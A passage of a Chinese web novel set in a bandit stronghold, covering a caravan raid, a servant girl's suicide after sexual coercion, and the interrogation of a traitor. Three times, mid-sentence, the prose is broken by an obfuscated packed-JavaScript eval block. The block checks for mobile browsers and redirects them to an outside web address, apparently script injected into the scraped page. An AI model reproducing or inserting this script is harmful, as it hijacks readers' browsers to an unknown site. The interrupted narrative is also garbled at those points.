然而,在这过程中,那商队有一人早已盯上了她。 一个未留神,那人便猛地向她刺来一刀,此等千钧一发之际,徐青茹瞳孔放大,身形如影,忽地向左一侧跌滚到地面,只叫那剑扑了个空。 那人恼怒,大喝一声,提剑又冲上来杀她。 徐青茹的手摩擦到粗粝的石块,鲜血直流,钻心的疼痛涌上心头,但她未管,只猛地将靴中的小刀抽出,靠在地面又一翻滚躲开来者之剑,紧接着便手握小刀直接刺上那人小腿,而后凭力站起,听得那人惨叫一声,反应过来后便疯狂地拿着剑向她刺去。 体力上的差距使得徐青茹的躲避愈发吃力,好几次,那刀直直地划上她的黑色面罩,划烂她的衣裳。 这样下去不行! 徐青茹神经紧绷,一双眼眸不敢遗漏半分,她咬紧牙关,抓住时机,一个侧身将插入男人骨肉的刀用力拔出,又趁这人腿脚不稳之际,踢掉这人手中的刀剑,快速绕到他身后,拿着这把浸染鲜血的刀欲刺此人后背。 然而,耳边忽传来那管事一声求饶,“各位好汉,各位好汉,这些钱财我们留下,你们放过我们吧!!别打了,别打了!!” 徐青茹眨眼,分出一丝精力——原是场上那些个练家子被山匪杀的杀,伤的伤,颓势十足。 然未等她细想,前面这名商队侍卫却猝不及防地转过身来,抓住她手腕,狠狠地将她甩翻到在地,徐青茹手中的刀剑瞬间从手中脱落,身体的各个部位皆传来一阵阵被挤压、碰撞的痛意。 这男人面目狰狞,已是杀红了眼,立马捡起徐青茹掉在地上的刀,叫吼着,直直地刺向她,想要一雪前耻。 糟糕! 徐青茹忍住痛感,屏着气要躲过这一刀时,男人的身子忽被另一长剑贯穿,而剑的尖端在距离徐青茹仅有一寸之时停下。 男人眼睛瞪得极大,不敢置信地回过头,却见是一名红唇白齿,长相俊俏的少年。 少年神色冷峻,正用男人那把之前被踢掉的长刀,刺入了它主人的身体。 栾佑将刀剑随意一扔,那人也随之倒地,眼神中充斥着死不瞑目的惊讶。 “徐姐姐,徐姐姐,你怎么样了?” 现场上已停了争斗,钟家商队也已服了软,十九看到徐青茹躺在地上,面容苍白,便赶紧跑了过来将人扶起。 徐青茹忍住痛意,靠着十九的身体站了起来,像一株摇摇欲坠的蒲柳。 她摇了摇头,擦去嘴角的血迹,声音依然温和:“十九,我没事。” 紧接着她又慢慢转过头来,看向那个少年,少年正掏出一块白锦擦拭着手上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935211|160715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的污秽,神情似乎有些别样的阴沉。 他救了自己,她算不算赌对了...... 徐青茹一双秋水眸中闪过一丝疑惑,但很快便烟消云散。她露出一丝感激的笑容:“谢谢小栾爷救了青茹,青茹感激不尽。” 然而,少年手中的动作并不停顿,也未抬头看她,只待擦拭完毕后他才冷冷地看向她,声音比平时更沉了些:“徐姑娘不用谢我,杏花寨可不能少了徐姑娘这样不顾生死、视死如归之人。” 这话多多少少有些讽刺的意味,但徐青茹并不在意,她刚刚的表现虽称不上英勇无比,但至少也没有拖后腿吧?小栾爷啊小栾爷,你一定要把这样的话和我的决心当着大当家的面,再说一遍。 于是她笑意盈盈地回到,“这是青茹的本分。” “嗬。”听她接腔,少年一声冷笑。 徐青茹只装作没听见,开始环顾四周,视线落到不远处的宋三当家,正瞧着他已命人将剩下的钟家之人绑住,捆到一边,其余人皆清点货物几何。 徐青茹未语,只是暗暗地记着这些人,杏花寨的人、钟家的人,以及这些货物。 顷刻,宋三当家得了闲,便看到十九正扶着徐青茹站在一旁,合了扇子,换了张担忧的面孔,走到她跟前。 宋三当家语气宛如那八音盒,一上一下:“徐姑娘,你这是怎么了!打打杀杀的,你呆在一旁便是,怎么也跟着来了呢!可是伤着哪儿了?” 徐青茹抿了下唇,声音略有虚弱,却恍若西子:“既成了杏花寨的人,又来了这里,青茹便想尽些心,宋三当家不必担忧我。” 宋又新“哎呦”了一声,看到徐青茹此刻模样便知道她受了打,道:“大当家不知怎么想的,徐姑娘是姑娘,又不是我们这样的大老爷们,竟也给派来这里,见着这打打杀杀的,万一一个不小心......你瞧瞧,你瞧瞧,这不就伤着了?下次我一定同大当家说道说道,徐姑娘还是呆在山寨,切不要出来冒这种险了。” 那宋三当家你要记得说啊......徐青茹行虚虚一礼,浅笑着:“劳三当家挂心了,青茹在这里谢过三当家。这次也是小栾爷救了我一命,否则,民女说不定再也见不着三当家的面了。” 若是栾佑不给了那人那一剑,她估计又得用上簪子搏一搏,只是这次,少不免要落个伤残。 那个少年啊......当真是奇怪。 半炷香的时间过后,杏花寨这群土匪基本上把钟家的货物给刮搜完了,那名管家便站在一旁一脸担忧与愁容地看着,早无了之前的威风,还时不时哀叹一声,估计也是感叹自己命运多舛,怎么就碰上这么一群悍匪,但又想到,这里一大半的兄弟,死的死伤的伤,自己还留条命,便又觉得有一丝劫后余生的庆幸。 既然已经留下买路财,宋三当家也没再和这些人计较,只是少许吩咐,废了那些练家子的手脚,使其再也练不了武,这才喊着大家伙的准备打道回府。 但回去的路上,徐青茹没有再被蒙上眼睛,这一次,她看清了这片山林,看到了这满地的春意以及前方的路途。 只是她同十九走在后头之际,隐隐约约能听到一声声惨叫。 她不由扶着少年的力气大了些。 十九察觉到异样,转过头来,一双黝黑的眸子关切地看向她,“徐姐姐,你怎么了,还是不舒服吗?早知这样,就不能让那兔崽子死得那么爽快了!”说到最后,少年咬牙切齿。 徐青茹一顿,阳光落到少年脸上,衬出他深邃的五官以及担忧的神情。 徐青茹啊徐青茹,你在天真什么,又在仁慈什么? 先活下去。 要活下去。 她摇了摇头,声音一如往常:“不用担心我,我回去好好养着,不出十天半个月的,便能恢复如初。” “嗯嗯!“少年冲她一笑,笑如灿阳。 8. 第 8 章 两位夫人 徐青茹躺在床上,只穿了身鹅黄色的暗花中衣,未施粉黛,容貌清丽又带着些病弱。桂月拿着碗上前,“姑娘,药好了,快趁热喝吧。” 原身的身子并不强壮,徐青茹自从外头受伤回来后没多久,又染上了风寒,这几日告了病假,她没去老夫人那,只躺在这“还明院”歇了几天。 忽地,听得外头一阵吵闹,徐青茹神色疑惑,拿过床边白月色绣花的衣裳笼在肩上。而桂月则放下药碗,出门查看。 不一会儿,还未见其人,便听得铃铛般的声音传了进来,活脱脱冲散了房屋内的几分病味。 桂月领着两位女子进来了。 一位女子穿着湖蓝色的暗花云锦裙,梳着随云髻,眉目温婉端庄,仪态娴雅,嘴角微勾,而另一名女子则穿着桃红彩秀的罗绮云裙,容貌秀丽,一双狐狸眼含娇含怜,美艳动人。 “青茹妹妹可还好?”那长相明艳的女子见着徐青茹这番躺在床上的模样,忙上前握住她的手,眼眸中尽是关切之意。 “姑娘,这是凤奴夫人和琉霜夫人。”桂月介绍道。 原来是大当家的两位小妾......这会儿来瞧她是...... “青茹无碍,只须修养几日便好,凤奴夫人和琉霜夫人今日特意来看民女,民女感激不尽。” 徐青茹对着眼前关心她的女子露出一个淡雅宽慰的笑容,想必这位是琉霜夫人,又朝着站在一旁姿态端庄的女子微微颔首点头,那这位应是凤奴夫人。 “青茹妹妹何得这般客气,瞧瞧这脸蛋,虽是在病中,却是多了一丝风流韵味,饶我是女子瞧着也是又疼又爱。”琉霜用帕子掩脸,柔媚地笑着。 站着的女子微微皱眉,露出一个无奈的笑容:“琉霜,你惊着徐姑娘了。” “凤奴姐姐!”琉霜嗔道,似在撒娇,“我这怎么是算惊了青茹妹妹呢?”随后,她又看向徐青茹,亲昵地点了点她的鼻子:“妹妹,你说,我可扰了你?” 徐青茹一怔,随后摇摇头:“两位姐姐来看我,我自是欣喜不已,又怎会觉得打扰?” 琉霜露出一个满意的笑容,拍了拍青茹的手,“姐姐妹妹的,自是要多见见。我给妹妹带了些补品,你一定要收下。” “夫人,这怎么好意思呢。”徐青茹摆摆手,忙拒绝道。 她与两位夫人此前并未见过,也未有什么交情,怎么这会还送上礼了呢。 “徐姑娘。”凤奴坐到她床的另一侧,眼神温柔地看向她,“徐姑娘你就收下吧,不碍事的。上次你使得老夫人病情大好,大当家的本来说要给你赏赐,问了我们姐俩,说是什么样的东西姑娘家喜欢,但还没想好,你便出寨了。只是这出寨便出寨,未曾想徐姑娘受了伤,又染了这风寒,大当家的心里过意不去,便遣着我们过来瞧瞧你。” “不过,就算大当家的不说,我们也要来见见你,只盼望着,以后有个三病两痛的,徐姑娘愿意过来看看,给我们出出主意。” 琉霜也道:“正是如此,我没凤奴姐姐那般长了张巧舌,但心意却是一毫未差的,好妹妹,收下吧。” 听得这番,徐青茹便也不好意思拒绝,只吩咐着:“既然如此,那桂月你把两位夫人的东西好好收着。” 说完,又在床上虚虚行了一礼:“两位姐姐的心意,青茹收下了。以后两位姐姐有了哪些疼痛,青茹必会上心,努力医治,只盼姐姐不要嫌我医术平平。” “徐姑娘你这可谦虚了。之前老夫人的病多少位大夫瞧了都不见好,可徐姑娘一来,老夫人精神气的不知好了多少倍!”凤奴笑说着,也上前安抚似轻轻摸了摸徐青茹的手,“好姑娘,你先养着病,我屋里头还有些事,我先回去罢,叫你琉霜姐姐再陪陪你。”徐青茹自是应道。 说罢,女子款款起身,又嘱咐琉霜好好照顾着徐青茹,这才离去。 瞧着女子已消失不见背影,琉霜轻“哼”一声,转过头来看向徐青茹,语气亦娇软可爱:“凤奴姐姐总是一天到晚的事情,忙了这会又忙那会,想同她单处一会又找不着时间。幸好如今妹妹你来了,我再无聊不过,也能找你玩玩,多些乐趣。” 凤奴总是忙碌? 徐青茹用帕子遮了遮鼻,咳嗽了几声,只是眼中闪过一丝思考——若把这山匪窝比作一个公司,那凤奴应该承担的,大概就是秘书职位,只怕是去处理那些赃物了。 徐青茹眉眼弯弯,笑容中含了一丝羞怯,直直地看向琉霜:“夫人尽管找民女。夫人,您长得这般好看,别人不知道的,还以为夫人仍是二八年华。” 琉霜掩嘴笑着,被这奉承话逗得合不拢嘴,过了半会,才指着徐青茹,假骂道:“你呀,你呀,你这丫头!” “难道不是?”少女眼睛亮亮的,瞧着是十分的坦白率直。 琉霜知晓了这姑娘的顽皮性子,索性也不再闹笑,只说:“妹妹你可不知,我今年二十岁,凤奴姐姐还比我年长了三岁,在外头,你可别闹这样的笑话了。” 二十、二十三,放在现代,也正是读着大学的姑娘。 徐青茹默然了会,低着头,顺着眉:“青茹省得了。只是刚刚亦不是民女胡诌,是真真的心里话。”说罢徐青茹又抬头看向眼前的女子,“夫人年轻貌美,民女也算是一饱眼福。” “前头听得好好的,后头又不正经起来。”琉霜嗔道,将徐青茹身上的被子又往上提了提,“是我扰了你,你且好好休息,养好了病,姐姐再来找你。” “嗯。”徐青茹乖巧地应着。 琉霜温柔地摸了摸少女的脸庞,又嘱咐了桂月几句,这才离去。 等到那夫人走远,桂月又端着一碗汤药,步伐轻缓地走到徐青茹身边:“这药刚刚冷了,我去热了热,姑娘喝吧。” 过了一会,等徐青茹喝完药,桂月便神色好奇地小声问道:“姑娘,你不觉得凤奴和琉霜两位夫人有些奇怪吗?” “这两位夫人容貌不凡也就罢了,可是,我怎么瞧着偏偏有那大户人家的做派?尤其是那凤奴夫人,更为是端庄典雅,气势非同一般。我也是跟着贺叔去过些高门贵族的,这山匪窝里哪养得出这般标志人物?” 徐青茹凝目垂眸,将药碗递给桂月,过了半响,才缓缓道:“看来,这里还有着什么我们不知道的秘密。” 原书中寥寥几笔带过的故事背后难道还有什么隐藏剧情? 徐青茹又想到那名少年,这样的人物,书中却从来没有描写过,奇怪......真是奇怪...... 徐青茹收拢了思绪,轻靠在床上,现在,只能走一步算一步了。 * 待徐青茹的风寒好得差不多了,十九便急匆匆地来了她院子,喊她去吃鹿肉。 少年一脸笑容:“徐姐姐,我和房老三等几个弟兄最近打了头鹿,姐姐你前些日子染了风寒,吃这些再好不过了,既能快活又能暖身体!把桂月姑娘也喊上!” 桂月笑着:“还有我的份呢。” “那是!” 徐青茹笑笑,和桂月跟着少年一同前去他们那。 路上正走着,忽闯来一女子,掩着泪,跌跌撞撞、急匆匆地跑着,后面一壮汉大喊,“抓住她,抓住这小蹄子!”后头跟着几个山匪,也是匆匆地跑着。 “姑娘,是阿莲!”桂月忽说道,又靠近徐青茹耳边,声音虽小却是急切,“上次和我一同进山寨的姑娘,被分到别处干活了,这是发生了什么?怎么追追赶赶的,不会是阿莲出什么事了吧?” 听到桂月说是一同和她进寨的女孩,徐青茹心中瞬间便有了不好的猜想,但未等反应过来,只听得“咚”的一声,前来传来一声叫喊,“他妈的,这小蹄子跳井了!” 徐青茹脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935212|160715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中突然宕机片刻。 十九瞧见,忙过去察看,徐青茹和桂月紧随其后。 “刑大哥?这怎么回事?这姑娘恁地跳井了?” 叫喊的壮汉是刑渠汉,大当家的手下。 那山匪皱着眉,脸色极为难看:“前几天这小蹄子求着做我女人,让我罩着她,呵,我见可怜便答应了,还送了她一镯子,没想到啊,今天就给我脸色看,不愿意服侍,打了她几下,受不住便跑了出来,没想到竟是个胆子大的,还敢跳了井!” “平白坏了老子一镯子!” “求着做你女人......怎么可能?阿莲不会这样的,阿莲是个好孩子......”桂月小声喃喃道,眼中不由沁出泪花。 “你这小婊子哪里来的?”那刑渠汉见到桂月,一身的怒火便泼到她身上,说着要来强拉桂月的手,“你既替她可怜,不如做了我女人......” “壮汉请放手!”徐青茹手疾眼快地握住女孩手腕,阻止了男人的动作并将人扯到自己身后,语气清冷沉着,“桂月是我的婢女,刑大哥,请放过她。” “你。”被打断动作的壮汉满脸横肉,目露凶光,上下打量着徐青茹,“你又是哪里冒出的丫头片子?”倒是比前面那两个丫头长得俊俏。 少年忙介绍道,声音脆朗:“刑大哥,这位是徐姑娘,给老夫人治病的大夫。” 听到老夫人的名号,这位叫刑渠汉的山匪虽面露怀疑,却收了几分戾气,冷“哼”一声,“原来是徐大夫。管好你家丫鬟。” 这人说完,又看向那口井——那是一口被荒弃的、长满了枯草的旧井,井璧上覆盖着一层厚厚的青苔,周围散落着破碎的石块,此时淹没于一处角落,死寂沉沉,若不细细留心,便难以发现。 壮汉“呸”地一声,又说了句“晦气。”随后,他便拍了拍衣裳,恶狠狠地瞪了眼桂月,眼神扫过徐青茹,最后和十九说道:“十九,今儿个你刑大哥麻烦你一下,你找几个兄弟,把这小贱妇捞上来,随便扔到后山哪处,我就不跟着了,看着心中厌恶。” 少年看了眼枯井,抱拳道:“刑大哥你既然开口了,我便缆了这担子,大哥放心!” 等那刑渠汉带着他几个兄弟离去,徐青茹默然了会,从头上顺下一金钗,递给少年。 “姐姐托你个事,这阿莲姑娘你捞上来后,在后山头找个好点的地方给她埋了,若是方便,烧些纸钱,姐姐在这里谢过你。”徐青茹神情诚恳,眉目悲切。 “这......姐姐......”少年推脱着,叹了口气,“姐姐吩咐的,我自会去做,只是这东西是姐姐的物品,我不能要。” “你帮了我这么多,拿着吧!”徐青茹忽轻轻握住少年的手,将金钗塞到他手中。 少年被她这突如其来的动作弄得耳尖烧红,,少女的柔软的触感从手中蔓延至全身。 “好......那姐姐,我收下了,姐姐若以后有别的什么事,尽管吩咐我。我先带姐姐去院子那等着鹿肉。” 徐青茹望着十九坚定的眼神,微微笑着,点了点头。 然而,等十九转过头站在前方带路时,徐青茹的脸色陡然变冷,她靠近桂月,低声问道:“你可知阿莲为何要说,她要许给他人?” 桂月此时也脸色苍白,冷汗连连:“桂月不知。只是前些日子,我见着阿莲神色郁郁,只怕是遇到了什么难事,但我当时并未细问,现在想来,只恨自己对她不够关心。阿莲一贯是开朗乐观的,不知,不知什么样的难事才会使她......” 说到最后,桂月心中涌现出一股难以言说的害怕与悲伤,这何尝不是兔死狐悲呢。 “好了桂月,这不是你的错。”徐青茹握紧女孩的手,眼眸深邃,心中思绪纷飞:难道这件事与原书中所说的‘无一人生还......女干淫痕迹’有关? 9. 第 9 章 烤鹿肉 才堪堪踏入院子,一股肉香味便飘了出来。 “我们还未到呢,这些个好哥哥们竟已开始了?!”少年一声惊呼,转头对着徐青茹道,“徐姐姐,我们赶紧进去瞧瞧!” 徐青茹点头,跟随着少年的步伐进了偏房的小厨房。 几个人绕着中间那铜丝搭的烤架,围了一圈,烤架下面放着些炭火,源源不断的热气便从中翻涌而出。一人正用长筷将几块鹿肉翻转一二,又撒下些盐、酒和少许香料,肉块发出”滋滋“的响声,看的令人垂涎欲滴。 “烤得这样有滋有味,怎么不等我和徐姐姐,你们就开始了!”十九年少,看着他们早已开烤,声音便提了提。 房老三听到少年的声音,转过头来,瞪了他一眼,“你个浑小子,脑袋里面除了吃的还装些什么,小栾爷在这,快来问个好!” 十九听到赵慈在这里,显然一愣,左右找着,忽发现这位小栾爷正是侧对着他们烤肉的那位! “小爷栾——”十九气势一下子下去了,有些惴惴不安地问了声好。 徐青茹顺着十九的目光看去,栾佑身形清瘦,黑色的衣裳衬得他肤色又白上了一度,不说话的时候五官精致冷峻,恰如那春寒料峭,令人惊叹而敬远,只是那张偏樱花粉的唇露出一丝淡淡的柔意,但此时也轻抿冷冽着,无故又增了一分疏远。 少年翻动鹿肉的动作干脆漂亮,十分熟稔。随后他拿起右侧木碗,将其烤好的鹿肉一块一块夹入其中,撒上香料,侧身将木碗递给十九,姿态娴雅。 “试试。” 十九一愣,在小栾爷的注视中一下子忘了动作。 徐青茹见状,眼眸微闪,接过木碗,声音平稳而温和:“谢谢小栾爷。”又侧身对十九说着,眉眼弯弯,“我们撞上了天大的好运,得了小栾爷烤的肉,十九你快尝尝。” 十九这才缓过神来,急忙从那木碗里拿了一块,那滚热的余温还未烫上手,便滚到嘴里,一边咬着一边说:“谢谢小栾爷!谢谢小栾爷!”待到鹿肉的香味溢满嘴时,少年眼睛亮亮,竖起大拇指,“小栾爷,这肉您烤得真香!” 话音刚落,围成一群的人便像一滴水进了油锅,瞬间沸腾起来。 “小栾爷,给我也尝尝!” “小栾爷,小栾爷,我也想试试!” ...... 栾佑却似乎听不到这些人的话般,目光忽落到徐青茹身上,勾了勾唇,一沽的潋滟便融化于眼眸,深不见底。 “徐姑娘,你尝尝。” 徐青茹向栾佑扯出一丝笑容,她垂眸,伸手将木碗中的一块有些烤焦了的肉块慢慢放入嘴中。她在现代确实挺喜欢吃烤肉,若再加上一杯啤酒,更是快活似神仙,但到了这边,吃的东西清淡如水,口中无半分滋味,只是想到自己活着以及还能吃上饭,她也不便抱怨。 现吃上的这口鹿肉,虽比起以往烤肉少了多般滋味,口感也并不松软,但也是徐青茹最近能吃上的最有滋味的食物了,口有余香,亦还想多吃几块。没有想到这小山匪还会做这等事...... “谢谢小栾爷,这鹿肉滋味真是上乘。” 顷刻,徐青茹又道:“我和十九不能独占,给其他兄弟几个都尝尝。” 少女说着,便将盛着剩余鹿肉的木碗递给旁边的几位兄弟,那些个人闻着香味早已跃跃欲试,偷偷看了眼小栾爷的眼色,见他神色平稳,便纷纷抢拿着吃了起来。 “好吃!” “小栾爷好手艺!” 大家吃得兴起,十九拉着徐青茹走到一旁:“姐姐,你们先吃,我捞了那尸首去。” 徐青茹心神微动,此刻的热闹与前不久她人跳井形成鲜明对比,她点头,目光诚切:“十九,麻烦你了。” 待到十九离去,徐青茹神色黯了黯,她转头,却发现栾佑正靠在距离她不远处墙边,把玩着一根木材棍。 “什么尸首?”少年声音慵懒随性,似乎只是随口一问。 徐青茹不知他听去几句,心中略微思考,只道:“不知哪屋里的丫鬟,跳了井,可怜。” “嗬。”少年轻笑一声,向她慢慢走来,两人之间的距离顷刻不过短短一尺。 “罗斩秋最厌恶腌臜之事。”少年的声音从她头上飘来,像一根摇摇欲坠的羽毛。待到徐青茹反应过来之际,少年已经离开。 徐青茹眼眸中尽是思索,这个小山匪提二当家何干,难道是在暗示自己将婢女跳井的事情告诉给罗斩秋吗......她治不了那刑渠汉,二当家却是可以......只是他为何要帮她...... * 徐青茹身子好了后便按照惯例每日去老夫人处观察病情,看着知秋熬药,以免出了差错。 这日,知秋只当无聊,同徐青茹说起八卦:“徐姑娘,你可知昨儿个大当家处置了一人?” 徐青茹用扇子慢慢缓和着火候,药罐里面闷出袅袅药香,她似好奇地问道:“不知,到底是个什么事,让大当家如此生气?” 知秋瞧了眼四周,未发现旁人只有她们俩人,这才放心地说起来:“徐姑娘,这我也是听别人说的。听闻一天,二当家正走着路,忽听得一丫鬟哭泣,奇了个怪,那声音不大不小,正好被二当家听见,二当家便问那丫鬟何事喧闹,那丫鬟本是不想说,后见大当家脸色不悦,便托盘全说了,原是大当家手下一人逼良为娼,要娶了那丫鬟的好姐妹,那女子不肯便跳井自杀了!” 说到这,知秋也露出一丝悲恸之色,忽想到什么看向徐青茹,“徐姑娘,那丫鬟似乎就是同你一批进山寨的。你们来得晚不知道,咱们二当家最厌恶男子见了女子不由分说,便要夺人家清白之事,若那女子提前禀了二当家,也不至于落个跳井的下场。” 徐青茹心神微动,原书中只写了罗斩秋狠辣之行,并未说她也是一个看不惯男子欺辱女子的人......果然,她所知道的剧情也只是冰山一角。 知秋继续道:“果然,二当家听了这说法便带上这丫鬟去找了大当家,只是,那犯了事的汉子并不承认,说是那女子自己找上门来的,算不得强迫。欸!这时便巧了,那丫鬟拿出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935213|160715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她好姐妹写的遗书,上面正正写明了其跳井的原因,还盖了血印。这下,尽管那汉子是大当家的得力干将,便也罚了十鞭子!” “竟还写了遗书?”徐青茹露出惊讶的神情。 “是啊,原本大当家想揭过去的,没想到,那女子还留有这招!不过,遗书如何,十鞭子又如何?人死不能复生啊。” 徐青茹点点头,忽想起来什么,问道:“这儿是不是有禁令,不能随意奸-污女子?” 知秋微怔,想了会说道:“我来这也没有太久,印象里虽没有明文规定,但二当家在杏花寨地位不凡,她看不惯这等腌臜事,其他人也不愿意触那霉头,故而鲜有发生。只是,若是那女子自愿的,便是无碍。同样,若是没被发现,自然也是无事。” “哦!”知秋又周围看了一眼,靠得离徐青茹更近了,“这话我只同徐姑娘你说,你千万不要外传。有一次傍晚,我在睡梦中隐隐约约听得老夫人同大当家说,要大当家娶了二当家,那时候大当家经常掳了外头的女子进来作小妾,但没过多久,这些小妾便离奇死亡,老夫人心慈,说是若大当家娶了二当家,这种事便不会再发生了,但大当家直接拒绝了。不知是我真听到了还是梦里的话,后面二当家就立了个不得无故污姑娘家清白的规矩,大当家也没有反对,但两人的关系却不胜以前亲密。” 说完,知秋握住徐青茹的双手,说:“徐姑娘,这话我同别人可没说过,求你千万也不要和别人说,否则我这脑袋可保不住了。” “我省的,这样大的事情,我定不会胡乱说起,不然,不说知秋姐姐你的性命,我的性命,怕也不保。”徐青茹反握住知秋的手,眼色坚定。只是,她心中却是极为震惊,大当家和二当家竟然有一腿?! * 而后,徐青茹刚刚回她那还明院,桂月便迎了上来:“姑娘,你真是神机妙算!我按你说的同阿苎说了,果然,二当家便拉着阿苎去了大当家那里,说是那刑渠汉坏了规矩。本来那厮不承认,幸好阿苎保留了阿莲的遗书叫人反驳不得,这不,那山匪挨了十鞭子,也算替阿莲出了口气!” 徐青茹白皙清丽的脸庞上浮现一丝凝重:“这事情太顺了,有蹊跷。” “蹊跷?”桂月手脚麻利地沏上一壶热茶,递给徐青茹,低声说,“姑娘可细说?” 徐青茹拂了拂上面的热气,轻抿一口,摇着头:“我也不确定,隐隐约约的,感觉有张网将人笼罩了起来。”虽事情进展顺利,但徐青茹心却一直“砰砰”地跳个不停,总感觉有什么事情她给忽略了...... “咚咚咚!” 外面忽传来一阵敲门声。 徐青茹和桂月对视一眼,徐青茹点了点头,桂月领意去开门,而她则摸出了一把小刀放置于在袖口。 起起落落、踏上台阶的声音传入徐青茹耳中,她耐心地等着,烛火摇曳中,映照出她冷肃的面容。 来者四人,皆是五大四粗的汉子,为首的那位见到徐青茹,声音洪亮,抱拳道:“奉大当家之命,请徐大夫前往大堂议事!” 10. 第 10 章 暴露 正堂之内,悬在梁上的松脂火把劈啪作响,各位当家正坐于前方,神色各异,中间跪着一人,手脚被捆住,背上几条血痕触目惊心。 徐青茹跟着那三名壮汉进入之际,见到的便是这样一副场景。 “大当家,徐大夫已到。”一山匪向最上方之人禀道。 大当家未出声,只是看了眼那位被捆绑住的男子。 山匪立马会意,将徐青茹带到那人前面:“徐大夫,您看看,这人伤势如何?” 徐青茹不知他们葫芦里面卖的什么药,原本以为他们叫她过来,应该是与刑渠汉有关,但眼前之人她并不认识,只能静观其变罢。 徐青茹点点头,走到那男子身旁,蹲下身子,仔细查看一番。 三道新添的鞭痕横贯后背,翻卷的皮肉中隐约可见白骨森森,血液滴落在捆绳上,散发出一股浓郁的腥味。徐青茹虽面上不显,但内心却是震惊——这名男子显然不久前被酷刑折磨,现尚存一丝气息罢了。 “伤势有些严重。但并非无药可治。”徐青茹退到一旁,低眉如实回道。 “四哥,你说吧!徐大夫说了你这伤能治,只要你把剩下的内贼说出来,大哥会原谅你的!”这时,坐在前头的一山匪出声,虎背熊腰,脸上一处刀疤,身侧一把开山斧,正是五当家乔双元。 四哥?! 原来这人是四当家张磬! 徐青茹脑中飞快想起一个被她忽视的剧情,原书中提到,二当家罗斩秋曾对一名杏花寨的叛徒实施酷刑,用银针活活将人折磨至死,故而在山寨中有了“鬼织娘”的称呼。现在看来,这名叛徒便是四当家张磬。 跪在地上那人身体摇摇欲坠,嘴巴一张一合,却听不清话语,一山匪赶忙凑过去听,却忽地被这四当家“呸”一口,染上口水的山匪顷刻便恼羞成怒,扇了他一巴掌:“你奶奶的,还以为自己是那高高在上的四当家?!你这龟孙现在就一阶下囚,不知好歹!” 这山匪又踹又骂,折磨了他好一会儿,才堪堪住手。 在这期间,正坐上方的大当家闭目养神,侍女一双柔荑正按着其太阳穴,动作轻缓;二当家喝着茶,面无表情地看着,眼中已有了不耐烦之意;三当家不在,五当家脸色难看,撇过头去,不愿见曾经并肩的四哥如今这副落魄模样。 半响,大当家出声:“佑儿怎么还没来?”依然是闭着眼。 旁边一人禀告:“回大当家的话,小栾爷夜间练功雷打不动,只怕还得等一会。” 大当家微微点头,摆了摆手,身旁的侍女退下。他这才目露正色地看向那个曾经出生入死的兄弟,语气平静:“磬儿,你总是这么犟。以前见着你这性子,只觉得你有我年轻时的风范,但现在看来,你这小子却是顽固不化。你说,你为何要背叛杏花寨?” “嗬!”地上的人忽冷笑一声,字字似从胸腔中蹦出,“‘背叛’?我这算什么背叛?单豹你当日所为才叫背叛!我竟被蒙在鼓中多年近日才醒悟......况且,我做的,自是好事,除了你们这一害,对百姓有益,何乐不为?!” “四哥!”听了这话,乔双元便急不可耐地反驳到,脸上横肉晃动,“你究竟听了哪个王八龟孙的胡话!怎么脑子糊涂到这种地步?我的为人你可以不信,但你怎么能质疑大哥呢?!” “好四哥,算弟弟我求你了,你就招了,对谁都好,别再折磨自己了!” 下面之人听了这话,嘴角勾起一个无声讽刺的笑容,虚弱的声音杂糅着嘶哑,“哈哈哈哈......” “双元,你太天真了......” “好了。”坐于上端的女人蓦地出声,眼神淡淡地扫过,“你既不愿说,我明日便再审审。” “若是还不愿意说,留着也无用。”说到这,罗斩秋眼中透露出狠辣。背叛者,必死无疑。 “二姐!”乔双元忙看向女人,瞳孔中闪过一丝震惊与不忍,“二姐......” 此时,门忽地被打开,一阵冷风卷起萧瑟,黑衣少年踱步而来,面容冷峻,正是栾佑。 他并未看向地上跪着虚弱的人,而是直走于前方,向正中间之人抱拳示意。 “坐。” 少年便直接落座于上端右侧首位,漂亮的面容带着一丝隐隐约约的戾气,他偏过头,看了一眼站在角落低着头的徐青茹。 大当家眼神落到往日的四当家身上,眯了眯眼,底下的人会意立马便将奄奄一息的人拖了下去。随后,他旋开掌中两颗包浆的核桃,漆黑具有威慑力的瞳孔陡然转向徐青茹,似是在唠家常般问道:“徐大夫,老夫人的病如何?” 忽被点到名的徐青茹神经紧绷,她缓缓走到中间,一瞬间所有的视线都落于她身上。 “老夫人病情稳定,只是还需用药修养几月。若之后痊愈,也须按时吃药。” 半响,“徐大夫,你这是我单豹的恩人。” 徐青茹忙说:“不敢当,民女份内之事罢了。” 